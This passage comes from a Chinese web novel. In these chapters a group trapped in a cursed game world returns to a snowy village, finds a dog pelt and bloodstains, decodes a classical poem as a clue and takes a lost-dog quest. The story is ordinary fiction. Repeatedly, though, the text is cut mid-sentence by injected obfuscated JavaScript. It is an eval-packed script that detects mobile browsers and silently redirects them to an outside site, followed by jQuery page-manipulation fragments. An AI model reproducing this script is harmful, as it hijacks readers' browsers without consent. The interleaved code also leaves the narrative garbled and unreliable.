“林敛说的也有道理。”覃平眼看有冲突,赶紧出来打圆场,“这样吧,景年先去,如果发现那些怪物不要靠近,赶快回来,我们再商量对策,剩下人尽快恢复体力。” 景年轻笑一声,没多言,身影渐渐消失在浓雾中。 小希在心里为不知何踪的狗群点了三炷香。 “我还是觉得应该听覃哥的。”那男人又冒了出来。 “大家都是新人,有的人在那房子里那么莽撞还能拿到副本道具只能说明幸运,一个女人而已,又没有什么经验,凭什么你说什么就是什么,还想让这么多人都听你行事。” “我没有强迫所有人都要听我的,你想继续查探请自便。”林敛不想跟他多做纠缠。 “覃哥,兄弟挺你,你说怎么办就怎么办。”那男人讨好地看向覃平。 覃平被夹在中间,露出一丝苦笑。 他并不是什么很聪明的人,侥幸活下来这几次靠的是勉强够用的武力值和谨慎的性格,也从没触发过隐藏剧情。 林敛说的确实有几分道理,但是他同样对再回去抱有一丝恐惧,谁也不知道回去会不会是竹篮打水一场空,还要再度面对那么多异化的狗群,对他而言,活下来远比线索重要。 他还有这么多兄弟,不能轻易死在这儿。 林敛看出了覃平的挣扎。 她平静地注视着覃平:“感谢覃队长这一路的保护,如果你有想做的事,不必非要听我的,但同样,我也依旧坚持我的观点。” “可是。”覃平有些为难,“我做不到让你一个人独自回去,太危险了,而且我说过要保护你,不可能副本刚开始就跟你分道扬镳。” “林小姐。”他又叫出那个略带敬意的称呼,“虽然这样有些强人所难,但是我还是希望大家能一起行动,人多力量大。” 诚然人多力量大,他自然也不愿失去林敛道具的支持,它无形中为所有人提供了一层生命的保障。 但是他的话在触及到林敛那双不带一丝波动的眼神时声音越来越小。 心里也出现了一丝愧疚。 但是他也没有办法,他还有必须带回去的兄弟,作为老大当然要想尽办法尽量提高所有人的存活率。 “老大,我跟她一起。”小赵的声音突然响起。 覃平猛地回头,震惊地望向小赵。 林敛的眸中也闪过一丝惊讶。 小赵挠了挠脑袋,有些不好意思的说:“最开始也是因为我才约定要全程保护林姐的,我不想违背承诺。” “而且我觉得林姐的话有道理,我也想回去看看是不是有什么被我们遗漏的细节,哥,这次我也想自己闯一闯。” 小赵认真地看着覃平,一直以来,他都被覃平保护,因为他是他们几人中最小的一个,所以哥哥们对他多有照拂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484773|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是这次他也想自己承担责任,说好的保护林敛,虽然他武力值不如覃平,但是他也一直在锻炼,他不想做言而无信的人。 “我们不能强迫林姐必须跟我们一起的,老大,你也知道,所以我想跟她一起。” 覃平和剩下的两个兄弟对视一眼,心下叹息:“好,但是我们不会这会儿就走,还是等景年回来看看情况,再问问他的意见。” 话音刚落,一道利落的身影便从树林中钻了出来。 “聊什么呢。” 景年拨开额前沾到的的碎雪。 林敛闻声望去,刚好和他的目光在空中交汇,景年不着痕迹地移开半寸,轻咳一声。 “刚打斗的地方没有狗群的踪迹,我又再往前走了几百米,依旧没发现什么痕迹,应该确实如林敛所言。” 这是林敛第一次从他口中听到自己的名字,他念出这两个字的时候像是声音在空中捻了捻她的名字一般,她莫名有种不自然的感觉。 景年似乎也有些不自然,转移话题道:“你们这会儿讨论出什么了,那我们什么时候出发。” 从他刚说狗群不在时覃平就已经和两个兄弟目光交流了一番,三人纠结一会儿还是打算按原计划执行。 于是覃平拍了拍景年的肩膀:“我们还是想去前面探探路,林小姐和小赵打算回去,你怎么想的。” 景年听到他们还想往前时下意识皱了皱眉。 随即道:“我跟她一起回去。” 覃平没什么意见。 “我也跟她一起。”刚未发一言的小希突然出声说。 覃平又有些惊讶地看向小希。 小希没多解释,耸了耸肩。 从刚就一直跟在林敛旁的女生也默默站了过来,令人惊讶的是花臂男也站了过来,涨红了脸:“你刚救了我,我信你。” 覃平已经有些麻了。 他抹了一把脸:“好,有小希在我也就放心了,那我们就先走了。” “快走吧覃哥,跟他们废什么话。”男人讨好道,被覃平警告地瞪了一眼,不敢再言。 林敛没在意那人,微微颔首,准备离开。 倒是景年上下打量了他几眼,记住了这人。 确实如景年所言,一路畅通无阻。天光已经大亮,浓雾也慢慢散去,回去的路上比昨夜稍微多了一丝暖意。 众人顺着来时的痕迹一路向前,林敛也有时间好好打量一番路边的景象。 茫茫树林并不密集,一望无尽的雪白延伸至地平线,呼吸间能闻到淡淡的植物的清香,越往前,隐隐的房屋显现。 视野渐渐开阔,远远看去,他们离开的地方似乎出现了一个村落。 众人加快脚步,越靠近,街巷的轮廓越清晰,是标准的农村老式建筑,一座座错落有致的房屋连成线,炊烟悠悠从屋顶飘出,甚至能听到几声鸡鸣。 众人对视一眼,都能看到对方眼底的震惊。 谁也没想到,天亮后的这里会凭空多出一个村落。 昨夜的这里分明是一片光秃秃的雪原,只有他们所在的那一座小屋。 林敛唇角勾起一抹笑。 果然。 5. 村落 眼前的景象已经几乎让众人的心跳停滞,普通的村落在这雪原之上一夜之间凭空而起,再简陋的布置在这种环境中也给人震撼之感。 众人几乎不敢相信这是真的,尤其是小赵和花臂男。 本是抱着投桃报李的心情跟随林敛踏上归程,虽然认为她说的话有几分道理,但并没有想过会有多大的收获。 却没想到跟着返回能看到这么大的一个惊喜。 有炊烟代表有人居住,有人的地方就可能藏有重要的信息和通关线索。 小赵已经在后悔没有说服覃平几人跟着一起回来,这么大个村庄,人越多能收集到的信息就越多,远比在密林中用生命冒险划算的多。 几人快步走进村落,路上零星几个散步的大爷大妈,似乎对几人有极大的兴趣,远远看见招呼道:“谁家的几个娃,来走亲戚啊。” 小赵闻言下意识想否认,林敛不动声色地扯了扯他的衣服,扬声回答:“是啊大爷,我们同学老家这儿的,找他玩儿。” “哎呦,小同学感情真好,是老张家那小子的同学吧。” “是啊,您知道的真清楚。” “那可不。”大爷骄傲地边说边向几人走来。 靠近了,环绕四周看看,示意几人附耳过去,悄声说:“哎,你们来不仅仅是为了玩儿吧。” 大爷面上隐隐有些得意之色:“我可是听说了,老张家那小子最近在网上发什么寻狗启示呢,上次还叫了一群什么专业人士来找都没找到。” “你们恐怕也是他找来的人吧。” “大爷,说不定我们就只是单纯来找他玩儿呢。”林敛不动声色地引导道。 “得了吧。”大爷一副你们骗谁都别想骗过我的神情:“你们这群娃娃长得这么俊,怎么可能是老张家那混小子的同学,完全不是一个世界的人嘛。” 说着打量了一番花臂男:“也就这小子像那么回事。” 小赵没忍住短促地笑了一声。 花臂男脸色涨红,把头扭向一边。 “被我说中了吧。你说这小子,不就是几只狗吗,没了就没了呗,还这么兴师动众,谁家没丢过几条狗,也没见有人像他一样。” 林敛敏锐地察觉到他话中的重点。 “大爷,您的意思是几乎家家户户都有丢狗吗?” “是啊,有什么奇怪的吗,咱农村的狗不都是这样,自己跑着跑着就没影了。”大爷咂摸着,“不过这么一说,好像确实近几年丢的狗比之前多。” 林敛和小希对视一眼。 林敛笑着说:“我听说狗都特别会认家门,还以为所有的狗都是这样呢,没想到还有这么多会迷路的小狗。” “是啊。”大爷感慨道,“只听过有的人一代不如一代,你说这狗怎么也是,一代没一代聪明了,我年轻的时候养的狗可机灵了,跑多远都知道自己回来。” “哎呦,我这人太能扯了,不打扰你们了,你们快去干你们的事吧。”大爷远远地看到熟人,赶忙跟林敛几人告别。 几步跑去找老伙计侃天侃地,精神头比几个年轻人还足。 “林姐,真看不出来,你还会跟这种大爷搭话。”共同度过了一夜,稍微熟络了几分,小赵也敢跟林敛打趣了。 “不过你刚为什么不让我说话啊,我们难不成还真要去帮那个老张的儿子找狗啊。” “笨啊。”小希跳起来给了小赵一记暴栗。 被一个还没自己肩膀高的小女孩敲了额头,小赵也没生气,揉了揉被敲疼的地方,转而去摸小希的脑袋,被小希灵巧地躲开。 “那小张一听就是个副本重要人物,这村子莫名其妙丢了那么多狗,我们昨天被那么多狗追杀,想也知道这其中有蹊跷。”小希有些恨铁不成钢。 怪不得覃平不放心小赵一个人行动,这脾气和脑子什么时候被人卖了都不知道。 “林姐,所以你是猜到了所以才故意跟那个大爷说我们是来找人的吧。” 小赵感觉自己开始有些崇拜林敛了,最初他以为林敛就是个故意触犯规则的危险分子,现在种种迹象证明,林敛不仅不是什么危险分子,反而可能是他们这次走出副本的关键。 “没有,我胡扯的。”林敛微笑。 “……”小赵心底刚扬起的崇拜犹如被一盆凉水从头浇到尾,幻灭了个彻底。 景年努力掩去嘴角克制不住的笑意,指向一个方向:“那边走。” 几人顺着那个方向一路走过去,果然找到了他们之前所在的房屋。 只是这会儿看去,这间房屋和夜晚有了很大的不同,多了一个围着篱笆的整齐院落,在路的尽头,被四周的房屋整齐地簇拥着。 六人走进院落,只见院子里整齐地堆放着干柴和杂物,角落房间里还架着一口大铁锅,另一个小耳房里整齐地摆放着一些香烛,看起来像是村里人求神拜佛的地方。 进入正屋,一切陈设都和夜晚无甚区别,只是夜晚昏暗的屋内在白天却并没有变得明亮,那尊额前插着箭矢的天使雕塑依然矗立在正中央,在阳光的照射下身体似乎泛着淡淡的金光。 景年脸上的笑意在看到这尊雕像时彻底散去,眼中闪过一丝厌恶,双手抱胸站在后方,皱眉看着那道白天依然散发着金红色流光的箭矢。 “这个屋子里一定藏着什么线索。”林敛说,“我们分散开各自找找,不要放过任何一个可疑物体。” 众人四散开来,各自寻找线索。 景年没动,目光在屋内逡巡了一会儿,突然出声:“我能拔掉那只箭吗?” 接收到林敛看死人般的眼神,景年耸了耸肩,从善如流地说:“我开玩笑的。” 他没再跟剩下的人一起寻找,踏出了房门。 林敛听到屋外翻翻找找的声音,目光落在了那只箭矢上。 这位神的爱好确实奇特,在眉间插入一支箭矢,看起来就透着些许诡异。 但如果是被其他人射入,又有谁能在这位可以称得上诅咒之地主宰一切的神的身上打上这样一个堪称侮辱的记号呢。 是谁呢。 景年也在思索。 不知为何,那只箭矢给他一种熟悉的感觉,明明经历了那么多副本,只有这次见过这支箭矢,却像是久别重逢,看到那道流光,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484774|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂都在激动地颤栗。 他的灵魂在叫嚣,把它拔下来,珍藏起来。 不,比起珍藏,他的灵魂似乎更想跪下来,向它的主人臣服。 是的,它的主人,绝不是那个所谓的雕像,可笑的所谓神明。 祂应该更强大,虽然或许淡漠,但绝不会任由无数生灵被困入这个该死的诅咒之地,任由生命世世轮转不得安息。 可惜这里只有那尊散发着邪气的雕像,只能任由它折磨万千生灵,可笑的神谕又算什么,只是它想逗弄世人的游戏,神明绝不会被所谓副本规则束缚,神谕也只会是它愚弄世人的把戏。 景年深呼口气,强迫自己停止脑内的巨大波动,将注意力集中在寻找线索上。 不能拔那枚箭矢,至少现在不能。 他或许可以保证自己全身而退,但不能让其他人被他拖累而死,尤其是,屋里还有一个同样让他有一丝熟悉之感的人。 明明可以按照以往的习惯杀穿怪物迅速通关,但看到她的第一眼,却突然隐隐有一种一走了之可能会后悔的感觉。 于是停留到了现在。 虽然目前并没有发现什么线索,但她身上那个群体道具确实有点意思,让他暴虐许久的精神和心情都安稳了许多,他甚至萌生了一种想跟她多待一会儿的想法。 当然是为了蹭道具。 投桃报李,他也会护她几分。 不过短短一夜相处,他发现她似乎也并不太需要他的保护。 她身边有一直以保护她为己任的小赵,也有那个看起来没什么用但是外表唬人的花臂男,她自己的聪明才智也让她可以降低直面怪物的几率。 他的保护,似乎也只是自己的一厢情愿。 又走神了。 景年很意外,他过往很少有走神的时候,战斗速战速决,也懒得研究什么神谕和隐藏剧情,长期压抑的环境让他的心情烦躁不堪,更没什么精力去思索事情。 这次短短一天,他竟已经走神好几次。 这个角落没找到什么有用的线索,景年随手拎起墙角的砍柴刀,走向柴堆的位置。 “你们快来看!”主屋内传来一声惊呼。 景年拎着刀走过去,看到屋内的五人围在雕塑后一个墙角,窃窃私语。 “这摊血迹是什么时候的。” “昨天晚上有吗?” “不清楚。”林敛沉声道:“屋子里太暗了,这个位置非常巧妙,刚好在所有人的视线盲区,如果有的话应该也没有人发现这摊血迹。” 她的目光落在景年拎着的砍柴刀上。 “那把刀能给我看看吗?” 自然没什么不能的。 景年递过去,林敛接过来,手指轻抚刀刃,皮肤上留下一道血痕。 “你受伤了!”旁边的女生惊呼。 “不是我的血。”林敛否认,“是那把刀上的。” 女生接过刀仔细查看,才发现刀刃上有微不可查的血迹。 “这……” 林敛沾了点地上的血,在指尖捻了捻:“如果我猜的没错,这血,可能是同个来处。” 6. 柴门 林敛跟景年去往柴垛附近,墙角早已被景年查探过,自不会有什么痕迹,干干净净,没有半分血色。 柴垛上盖着厚厚一层积雪,洇湿了干柴的表面,右侧稍小一堆的干柴似乎被村里人常用,盖着一块塑料布防止雪化浸染。 小赵和花臂男翻开那层塑料布,拨开柴堆,没有发现异常。小赵倚靠在柴垛上,有些挫败。 花臂男对那堆一人高的柴垛更感兴趣,他还没见过摆放的如此整齐的手法,每根柴都被劈成几乎一样的形状,层次交叠,形成非常整齐的形状。 观察了一会儿,他突然伸手抽出了一根干柴。 “?”小赵凑过去。 只见花臂男伸手从抽出干柴的缝隙探入,摸索半天,拿出了一个柔软的片状物体。 “这是什么。”小赵有些不明所以。 林敛和景年的目光也被吸引,几人凑在一起,花臂男摩挲了两下:“这,好像是狗皮吧。” 接收到几人怪异的目光,花臂男急忙解释道:“我可没剥过狗皮啊,我自己养狗的,之前我家狗剃毛后摸起来就是这个手感,但是这个更硬一点,我也不确定。” 他翻到另一面,表面有一层干掉的凸起,带着已经干涸的黑红色血迹,联想到村中无故失踪的狗,几人免不了脑补出被暴力撕开血肉的场面。 林敛心底一阵发麻,站在阳光下却像走入了阴冷的巢穴,有一种被窥探的不适感。 她猛地回头,却并没有发现其他的人或生物。 她压下心底的那丝不适,那边小赵已经在询问花臂男是怎么发现的异常。 “颜色不对。” 花臂男略有些不好意思地回答:“我老家农村的,我以前经常垒柴,那跟柴颜色跟其他的不一样,比其他的淡一点。” 他把那根柴举起来给几人看:“垒柴的人能把柴垒得那么整齐,像是有强迫症,颜色应该也会一样,其他柴外面的那层被打湿了颜色会更深,但这根没有其他柴那么湿。所以我猜可能有人在里面塞了什么东西,放的时候没注意把它放反了。” 那根柴果然一边跟其他柴颜色一样,另一边颜色偏浅,却比其他内部的柴颜色更深。 于是他便试探着掏了一下,果然发现了藏在里面的东西。 猜测里面或许还有其他有用的线索,几人把柴垛翻了个七七八八,却只找到了几块石头,还有一根不知道哪儿来的鸡毛,甚至还有几块碎布头。 这下轮到花臂男疑惑了,没听过谁家垒柴会往里面放这些东西的,不仔细的人或许会无意间夹带进去,但是强迫症不可能注意不到。 只可惜获得线索时副本并不会提示,因此众人无法确认什么是有用的线索,只能尽可能多寻找。 几人快把柴垛翻了个底朝天也没找到其他有用的东西,只能又四散开来分头寻找。 那种被人窥伺的感觉又来了,林敛斜睨向视线传来的地方,有什么看不见的东西在静静盯着她,却并无任何行动。 林敛看不到,索性当不存在,但阴冷的感觉却顺着她的后背往上爬,她搓了搓起鸡皮疙瘩的胳膊,钻进了放香烛的耳房。 在即将进入耳放的瞬间,一股阴风袭来,吹开了房檐处垂下的幔帐。 她似乎看到了什么一闪而过的东西,像是字迹,伸手揭开幔帐却消失不见。 林敛的神情慢慢变得凝重,踏入耳房的脚也退了出来。 她可以确信,这一定是个重要线索。 林敛唤来了另外五人。 她揭起幔帐,问他们看没看到什么东西。 剩下四人都一脸懵,表示自己只看到了房檐和门框,没有看到任何东西。 “柴门。” 一声清晰的声音传入众人耳中。 景年依旧拎着那把刀,漫不经心地擦拭着刀柄,说出的两个字却无比肯定。 他的目光从刀柄移动到门框上,又对上林敛的视线,认真地重复了一遍。 “柴门。” 奇异的是,随着他的声音,柴门二字缓缓在门框上方浮现。 众人瞬间瞪大双眼。 “这这这。”小赵有些颤抖,“这难道是传说中的神迹?” 柴门,午夜,风雪,犬吠。 林敛已经顾不得探究为何只有景年能看到那两个字,其他人却看不到了,她的脑中正缓缓浮现一句古诗:“柴门闻犬吠,风雪夜归人。”[1] 林敛不清楚为何自己明明不记得来诅咒之地前的任何事,却能在此刻想起这句流传已久的古诗,但显然此时并不是研究自己记忆的正确时机。 【永远不要忽视动物的低语,当午夜的钟声敲响,演出序幕即将拉开,前往世界尽头,孤独的旅人或许会给你指引,祝你好运。】 神谕的几句话又在脑海中打转。 柴门,用来命名这个堆满干柴的院落,似乎再正常不过,但它偏偏以这种形式出现,一定有更重要的用意。 林敛的脑中飞速运转,她低声念出了那句诗。 话音刚落,一片寂静,小希猛地瞪大双眼,几人瞬间愣住。 林敛继续说:“倘若动物的低语指的就是一整晚从未止歇的犬吠,那午夜的钟声也有可能并不单指昨夜副本开启的象征,结合我们这个副本最大的元素,很有可能指代的是这句诗中的''风雪夜''。” “林姐。”小赵喃喃道,“你简直是神。” “……” 林敛有些无语,又想起来什么,补充道:“前两句是‘日暮苍山远,天寒白屋贫’,应该也代指什么。昨晚这里只有这一座房子,今天却出现了一个村庄,这里的变化应该跟时间有关。”[2] “也就是说夜晚的时候又会只剩这一座房子,跟这两句也能对上。”小希说。 “没错,今晚看看变不变就可以印证猜测是否正确。” “而且到现在我们也没见到狗的踪迹,但昨晚无端出现那么多狗群,想来狗群出现的时机应该也受时间控制。” “那么。”景年接过话道,“我们现在最重要的就是要找出所谓的‘归人’。” 听到他说这句话,林敛挑眉,真要算起来,这些人里,最有嫌疑的就是他这个中途进来的人。 嘴上说自己失忆,但对副本和雕塑的态度却带着熟稔和随意,处处透着古怪,怎么看都完美符合所谓“夜归人”的设定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484775|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景年没发现她怪异的目光,继续说:“严格来说,我们大晚上被传送到这个木屋,应该都算得上是归人。” “所以我们被那些狗追,就是神谕说的【演出序幕即将拉开】吗?”站在小希旁的女生战战兢兢。 “不对。”小希说。 “如果照这句诗的设定,我们所在的屋子是‘家’,归人一定是自己走进来的。” “可是有好几个人都说自己是从外面走进来的,难道这么多人都是‘归人’?”小赵挠挠头。 “这……”小希一时语塞。 “或许可以从那位【世界尽头的孤独旅人】处找到答案。”林敛说,“不过我们并不清楚到底什么算世界尽头。” “在此之前,我想我们应该去老张家一趟。” “老张家?”小赵迷惑道,“找狗的那个?可是这不是应付那个大爷的说辞吗?” “这是一个副本世界。”林敛说,“副本世界里出现的每个人一定有他存在的意义。” “玩儿过大世界游戏吗?”林敛问,“大世界里的每个人都是发布任务的npc,剧情走到的时候就会自动发布系统任务。” “而我们,就相当于玩家,组队的那种。” 林敛眼睛微眯:“假如这个村庄的所有人都是副本npc,那他们的所作所为都是为了副本服务,而他说的帮忙找狗的人,可能就是我们在这个副本世界里的合理身份。” “如果真是专门为我们而设的身份,那我们就必须走这一趟,如果我猜的没错,一定会触发某些关键剧情。” “假如我们的主线任务是解读神谕逃出副本,那这些npc发布的就是支线任务。” “部分支线任务独立于主线,但还有一部分主线必须由支线任务开启。” “主线任务现在有点卡壳,也不知道去哪儿寻找所谓的孤独旅人,或许走一下支线能给我们一些线索。” 说到孤独旅人,林敛又感觉到了那股熟悉的凉意,刚就是这股阴风吹开了窗幔让她发现了线索,此刻却只单纯略过她的身体,轻轻拂过她的发丝。 花臂男已经被什么主线支线绕晕了,他现实生活中就是一个破修车的,平时最多跟兄弟在竞技游戏里打打杀杀,没玩儿过什么大世界游戏,但是他看着剩下几人逐渐亮起的眼神,也知道林敛这个提议对他们有所帮助。 虽然他听不懂,但他想起最初覃平说过副本藏有隐藏任务,完成能获得特殊奖励,心里没由来一阵激动。 如果他也能获得一个副本道具,是不是也能像林敛这样被大家尊重。 于是他第一个响应:“说的对,我们是该去。” 无人反对,几人将刚找到的东西杂七杂八塞到身上,景年也拎着那把砍柴刀向外走。 “等等。”林敛疑惑,“你要拎着这把刀去吗?” 景年点头,他总觉得这是个很重要的东西,与其放在那个他厌恶的地方,不如自己拿着。 他相信自己的直觉,而他的直觉一向很准。 林敛莫名觉得他拎着这把刀的样子有点刺眼,又看了两眼那把刀,确信这就是把普通的砍柴刀,没多说什么,颔首向外走去。 7. 任务 老张家并不难找,村里最豪华的那栋建筑就是。 这是一栋比村落中其他复式都高出两层的建筑,透过门上的栅栏可见院中的鱼池和鹅卵石铺成的小径,在这严寒的雪季依然可见清脆的莲叶,俨然一栋豪华别墅。 林敛礼貌地敲了敲栅栏,无他,这么大一个院落竟然没有门铃,只能寄希望于里面的主人能听到这点微弱的动静。 果然并没有人来给他们开门。 小赵是个急性子,等林敛敲了两边已经耗尽他全部的耐心,大声叫喊道:“有没有人啊,开开门。” “嘿,这小娃,在这儿喊啥,咋不进去。”隔壁屋子里闻声跑出一位大娘,惊异地看着几人。 说着,随意推了一把大门。 “嘎吱——”门应声而开。 “……” 六人谢过大娘,走进这方小院,更能直观地感受到这家人物质的丰裕,虽谈不上雕梁画栋,细节却处处透着巧思,只是摆放的家具和装饰风格迥异,透着些许古怪。 随着“吧嗒吧嗒”的声音由远及近,从楼上走下一个揉着眼睛睡眼惺忪的年轻男人,他的纹身几乎覆盖了除了脸部和双手之外所有裸露出来的皮肤,脖子上还戴着一副大拇指粗的黄金套链。 他身高目测有一米八五往上,高高壮壮,看起来像是某些不可言说组织的老大,站在楼梯上更人给人一种很强的压迫感。 林敛不合时宜地想,怪不得村后的大爷说一眼就能看出来他们不是这人的同学。 又看了看花臂男胳膊上的猛虎花纹,算是理解了大爷说的像那么回事是哪回事。 来人打了个哈欠:“你们就是我新邀请来的寻狗团队吧,快坐快坐,自我介绍一下,我叫张寻,你们叫我小张就可以。” 话虽如此,但很难有人能对着这样外表的一个人喊小张。 小赵哈哈一声:“张哥,张哥。” 林敛很快代入了新角色,问道:“你要找的狗是什么狗,在哪里丢失的。” “是一只边牧。”张寻正色道,“我家之前就丢过狗,但是我一直在城里,回来才知道,丢的是一只普通的大黄狗,但是我家人没太当回事,就以为是自己跑丢了。上周我刚回老家,把我的边牧也一起带回来了,它特别聪明,能听懂人说话,也会认路,不可能自己跑丢,但是那两天它一直没回家,我就有点着急了。” “所以找了一次寻狗团队,但是他们几乎把整个村都翻遍了也没找到,周围几个村子也都找遍了。我怀疑,它可能出事了。我朋友给我推荐的你们,说你们是专业的团队,我想让你们帮我找到我的狗,万一是被偷了……也尽量找到偷狗贼的踪迹。” 被偷么。想到半夜追逐他们的狗群,林敛心底隐隐升起另一抹更不详的猜测。 “会不会是被人捉去吃了?”花臂男大胆发言。 张寻闻言双目赤红:“不可能,我们这儿没有人吃狗。万一真让我发现小啪是被人吃了……” 他双拳紧攥,因为过度用力附满纹身的手臂凸起一道道青筋。 花臂男虽然也纹了一只大花臂,但完全是色厉内荏,看他这样子立刻闭嘴不敢再问。 会是那些副本怪物吗。 林敛仔细回想。 本以为那群外表诡谲、形状各异、叫声凄厉的狗只是单纯的副本怪物,如果是村里这些失踪的狗,那他们是怎么变成那种模样的。 边牧的外表在一众土狗中很容易辨认,但是那群异化狗没几个有完整的皮肉,骨骼扭曲,眼睛都是绿油油的颜色,如果不是叫声甚至会误认为他们是狼群。 这样的一群狗,要怎么从中发现哪只是边牧呢。 遍寻记忆也没翻找出有关边牧的部分,只得暂且作罢,林敛没有告诉其他几人她的猜测,只平静地接受了张寻的任务。 如果可以,她更希望那群狗只是诅咒之地用来吓唬玩家的副本怪物,而不是真的从一群原本健康活泼的狗变成那副模样。 林敛抬眸看着眼前的张寻,即使副本世界不是真实世界,但他也是一个有血有肉的人类,着急和愤怒的样子看上去和他们并无两样。 如果真是她猜测的那种情况,对于那些无辜的狗和他们的主人而言实在是太过残忍。 但林敛不得不承认,村中无端失踪这么多狗,夜晚又出现那么多拥有狗的外表的怪物,这两者说没有关系也没人会相信。 林敛又想起了那片狗皮和地上的那滩血迹,这几件事一定有某种联系。 “对了。”张寻补充道:“它叫小啪,它知道自己的名字,你们找的时候叫他的名字它听到就会跑过来。” “他喜欢玩儿飞盘,每天都让我陪他玩儿一个小时的飞盘……”张寻陷入了回忆,“小啪特别通人性,我在家里装了很多宠物交流按钮,它平时还会跟我聊天,怎么就会丢了呢。” 显然是想到了某些不好的事,说着,眼泪从这位不说话时看起来像一条街的老大的男人的眼睛中夺眶而出。 林敛想说什么,却深知自己并不会安慰人,只能静静等待这位任务发布人自己缓和下来。 张寻平复了一下心情,张嘴却又是一声哽噎:“真的拜托你们了。” 林敛轻轻嗯了一声。 张寻看到她那双冷静却写满认真的眸子,不由得怔愣了几秒。 其实他清楚小啪可能已经凶多吉少了,只是难以接受这个事实,所以花了大价钱找人寻找,但也知道只是自己的心里安慰。 可是他从眼前这个女生的眼神中看到了和自己最近状态类似的执着,甚至还隐隐看到一丝,滔天的怒火。 林敛几人离开张寻家,回到了柴门小院。 小院的角落不知道从哪多出了一堆食材,林敛不由得想,看来这诅咒之地只是想为难他们,并没有想让他们饿死。 “嗯?”倒是小希和小赵有些惊讶。 “怎么会出现这么多食物。” “怎么了,不对吗?”林敛疑惑。 “完全不对啊!”小赵惊得大叫,“这么多次了,我从来没在副本里吃过一顿正常的饭!” 小赵想起来过往那些副本都想哭:“每次不是完全找不到吃的就是要战战兢兢偷吃那些怪物家的食物,还要冒着被杀的风险。” “搞得我每次出去都要大吃一顿,最饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484776|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候我连树皮都啃过,但是差点被毒死。” 小希同情地看了一眼小赵:“我还好,有时候副本里有些善良的npc看我是个小孩,会给我点吃的。” “我们试着带过外面的食物进来,完全不行,所有的东西都带不进来,搞得我在外面每顿饭都得吃的特别饱,就害怕什么时候没吃饭又被拉进来了。” 林敛的目光不由得飘到旁边看戏的景年身上,这家伙不会每次也没饭吃吧。 景年察觉到林敛的视线,微笑:“嗯?看我干什么,我是新人。” 小希在旁边翻了个旷世白眼。 “呜呜呜,跟着林姐有饭吃。我就知道肯定是覃哥运气不好,不然为什么每次都吃的是奇怪的东西。” 花臂男和一旁的女生对视一眼,他们没经历过那种饥饿,但想想也知道在这种危险的环境中没有吃的是多么恐怖的事。 昨晚被狗追了一晚,他们的体力早已耗尽,如果没有林敛的道具,他们恐怕连今天寻找线索的力气都没有,更可况后面或者还要应对其他更危险的事情。 林敛不认为有食物是因为自己,但确实惊异于这一行的顺利,找到了不少线索,破解了部分神谕内容,还能在这种大雪的环境中获得食物。 或许可以去找村民讨点食物,但这么多人,也不能顿顿去人家家里吃。 况且在副本环境中,谁也不知道那些外表和善的村民会不会在某刻突然化身怪物。 有了食材,众人紧张的心情也放松下来,高兴地招呼着做饭。让林敛意外的是,景年竟然是个深藏不露的大厨,食材在他手中化成一道道美味的佳肴,散发出浓浓的香气。 “你在现实里不会是个厨子吧。” 景年闻言顿了一下:“忘了。” 林敛正想再说什么,却突然感觉到有什么冰冷的触感正顺着自己的小腿往上爬,她猛得一甩,那道触感委屈地退了回去,停在林敛脚腕处。 她附身撩起裤子下摆,却没发现任何踪迹,但那冰冷的感觉依然存在,她摸了摸自己脚腕,没摸到任何东西。 景年随着林敛的动作向下看去,眼神一凝,附身扯掉了什么。 随着他的动作,林敛感觉到那股冰冷的寒意从脚腕处消失,她看着景年的手,确信他手上没有任何东西,但是他却保持着一种捏住了什么东西的动作。 “什么东西。” 景年有些嫌弃地随手一扔,抓了一把雪擦了擦手:“一个小东西。” “小东西是什么东西,为什么我看不到。” 景年皱眉:“我说不上来。” 他确实说不上来。 他只能看到一个黑色的柔软物体像蛇一样盘旋在林敛的脚腕处,但不知道那是什么。 莫名看着有些令人不爽,感觉不是什么好东西,所以他扯下来直接丢弃。 随着他的动作,那黑色物体瞬间消逝在了空中,像逸散的能量,不知道究竟是从何而来。 林敛不问了。 